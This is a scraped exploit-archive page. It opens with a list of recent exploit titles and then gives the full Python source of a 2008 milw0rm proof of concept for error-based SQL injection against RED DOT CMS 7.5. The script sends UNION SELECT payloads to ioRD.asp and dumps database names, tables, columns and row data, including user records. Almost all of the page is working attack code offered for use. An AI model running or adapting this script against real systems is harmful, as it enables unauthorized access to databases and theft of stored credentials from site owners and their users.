
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
154 lines
4.4 KiB
Python
Executable file
154 lines
4.4 KiB
Python
Executable file
#!/usr/bin/env python
|
|
|
|
# un-comment your selection.
|
|
|
|
import urllib2
|
|
import urllib
|
|
import string
|
|
import getopt
|
|
import sys
|
|
|
|
def banner():
|
|
print
|
|
print "RED DOT CMS 7.5 database enumeration"
|
|
print "by Mark Crowther and Rodrigo Marcos"
|
|
|
|
def usage():
|
|
print
|
|
print "usage():"
|
|
print "python RD_POC.py [options] URL"
|
|
print
|
|
print " [options]"
|
|
print " --dbenum: Database enumeration"
|
|
print " --tableenum: Table enumeration, use -d to specify database"
|
|
print " --colenum: Column enumeration, use -d to specify database and -t to specify table"
|
|
print " --dataenum: Data enumeration, use -d to specify database, -t to specify table and -c to specify a column"
|
|
print " -d: Specify a database"
|
|
print " -t: Specify a table"
|
|
print " -c: Specify a column"
|
|
print " -h: Help page"
|
|
print
|
|
print "Examples: "
|
|
print " python RD_POC.py --dbenum http://myhost/cms/"
|
|
print " python RD_POC.py --tableenum -d IoAdministration http://myhost/cms/"
|
|
print " python RD_POC.py --colenum -d IoAdministration -t IO_USR http://myhost/cms/"
|
|
print " python RD_POC.py --dataenum -d IoAdministration -t IO_USR -c USR2 http://myhost/cms/"
|
|
print
|
|
sys.exit()
|
|
|
|
def retrievedata(url1, url2 = "' ORDER BY 1;-- &DisableAutoLogin=1"):
|
|
stop = 0
|
|
|
|
current = ''
|
|
|
|
while (stop==0):
|
|
|
|
request = url1 + current + url2
|
|
|
|
request = string.replace(request, ' ', '%20')
|
|
req = urllib2.Request(request)
|
|
try:
|
|
r = urllib2.urlopen(req)
|
|
except urllib2.URLError, msg:
|
|
print "[+] Error: Error requesting URL (%s)" % msg
|
|
result = r.read()
|
|
|
|
#print result
|
|
if string.find(result, ' Description Conversion failed when converting the ') == -1:
|
|
stop = 1
|
|
else:
|
|
start = string.find(result, "'") + 1
|
|
end = string.find(result[start:], "'") + start
|
|
current = result[start:end]
|
|
print current
|
|
|
|
|
|
def dbenum():
|
|
|
|
retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM SYS.SYSDATABASES where name> '")
|
|
|
|
def tableenum(database=''):
|
|
|
|
if database=='':
|
|
retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM SYSOBJECTS where xtype=char(85) and name> '")
|
|
|
|
else:
|
|
retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM " + database + "..SYSOBJECTS where xtype=char(85) and name> '")
|
|
|
|
def colenum(table, database=''):
|
|
|
|
if table=='':
|
|
usage()
|
|
|
|
if database=='':
|
|
retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM SYSCOLUMNS where name > '", "' AND id = (SELECT id from SYSOBJECTS WHERE name= '" + table + "') ORDER BY 1;-- &DisableAutoLogin=1")
|
|
else:
|
|
retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM " + database + "..SYSCOLUMNS where name > '","' AND id = (SELECT id from " + database + "..SYSOBJECTS WHERE name= '" + table + "') ORDER BY 1;-- &DisableAutoLogin=1")
|
|
|
|
|
|
def dataenum(column, table, database=''):
|
|
|
|
if column=='' or table=='':
|
|
usage()
|
|
|
|
if database=='':
|
|
retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT MIN(" + column + ") FROM " + table + " WHERE " + column + "> '")
|
|
|
|
else:
|
|
retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT MIN(" + column + ") FROM " + database + ".." + table + " WHERE " + column + "> '")
|
|
|
|
|
|
banner()
|
|
pdbenum = 0
|
|
ptableenum = 0
|
|
pcolenum = 0
|
|
pdataenum = 0
|
|
database = ''
|
|
table = ''
|
|
column = ''
|
|
|
|
url = sys.argv[len(sys.argv)-1]
|
|
|
|
try:
|
|
opts, args = getopt.getopt(sys.argv[1:], "d:t:c:h:", ["help", "dbenum", "tableenum", "colenum", "dataenum"])
|
|
except getopt.GetoptError:
|
|
usage()
|
|
|
|
try:
|
|
for o, a in opts:
|
|
if o in ("-h", "--help"):
|
|
usage()
|
|
if o == "--dbenum":
|
|
pdbenum = 1
|
|
if o == "--tableenum":
|
|
ptableenum = 1
|
|
if o == "--colenum":
|
|
pcolenum = 1
|
|
if o == "--dataenum":
|
|
pdataenum = 1
|
|
if o == "-d":
|
|
database = a
|
|
if o == "-t":
|
|
table = a
|
|
if o == "-c":
|
|
column = a
|
|
except:
|
|
usage()
|
|
|
|
|
|
if pdbenum == 1:
|
|
print 'Enumerating databases:'
|
|
dbenum()
|
|
elif ptableenum == 1:
|
|
print 'Enumerating tables:'
|
|
tableenum(database)
|
|
elif pcolenum == 1:
|
|
print 'Enumerating columns:'
|
|
colenum(table, database)
|
|
elif pdataenum == 1:
|
|
print 'Enumerating data:'
|
|
dataenum(column, table, database)
|
|
else:
|
|
usage()
|
|
|
|
# milw0rm.com [2008-04-21]
|